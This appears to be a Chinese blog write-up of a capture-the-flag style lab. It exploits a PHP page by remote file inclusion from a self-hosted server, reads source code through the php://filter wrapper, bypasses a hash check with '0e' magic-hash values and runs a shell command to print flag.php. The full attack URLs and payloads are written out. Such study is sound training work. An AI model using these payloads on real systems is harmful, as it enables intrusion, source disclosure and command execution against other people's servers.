利用PHP伪协议获取flag

1。观察

浏览器浏览网址

没有任何交互点等可用信息。

2。审计网页源码

右键查看网页源码

a)    发现有 a、b、c、d、e 五个GET方式接收参数
b)    过虑了 .php 的文件后缀, ../ 的网页跳转

c)
        i.    可以尝试远程文件包含,自建网站。同时 $a= 对文件的读取的内容 和 $b 传入的参数相同 $e= 对文件的读取内容是 I'm Administrator!
        ii.    所以尝试
        http://192.168.100.196/
        ?a=http://192.168.100.93/lianxi/a
        &b=a
        &e=http://192.168.100.93/lianxi/e

        iii.    根据  猜测可能在网站同级目录下存在一个class.php文件,利用php伪协议的特性进行文件读取

        http://192.168.100.196/
        ?a=http://192.168.100.93/lianxi/a
        &b=a
        &e=http://192.168.100.93/lianxi/e
        &c=php://filter/read=convert.base64-encode/resource=class.php

        iv.    将base64的编码进行解码得到如下代码

3。对解析出来的代码审计

a)    根据 推断在网页的同级目录下存在 class.php网页。
b)    尝试浏览网页,发现为空

c)    利用php特性,在处理哈希字符串时,会利用 != 或 == 来对比,把每一个以 0E 开头的哈希值都解析为0,如果两个不同的密码经过哈希后,其值都是以 0E 开头的,那么PHP会认为他们是相同的。
        i.    改善方式使用 === 进行比较即可避免这个问题
d)        http://192.168.100.196/class.php
        ?m1=QNKCDZO
        &m2=s878926199a

e)    使用tac替代cat效果
        http://192.168.100.196/class.php
        ?m1=QNKCDZO
        &m2=s878926199a
        &cmd=tac flag.php


   转载规则


《利用PHP伪协议获取flag》 Evolyutsiya 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
PHP伪协议 PHP伪协议
php带有的内置URL风格的封装协议,可用于类似fopen()、copy()、file_exits()和filesize() 的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议
下一篇 
DVWA文件包含 DVWA文件包含
LOW级别1. ./ 没反应可能有文件包含 2. http://192.168.100.90/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.bas
  目录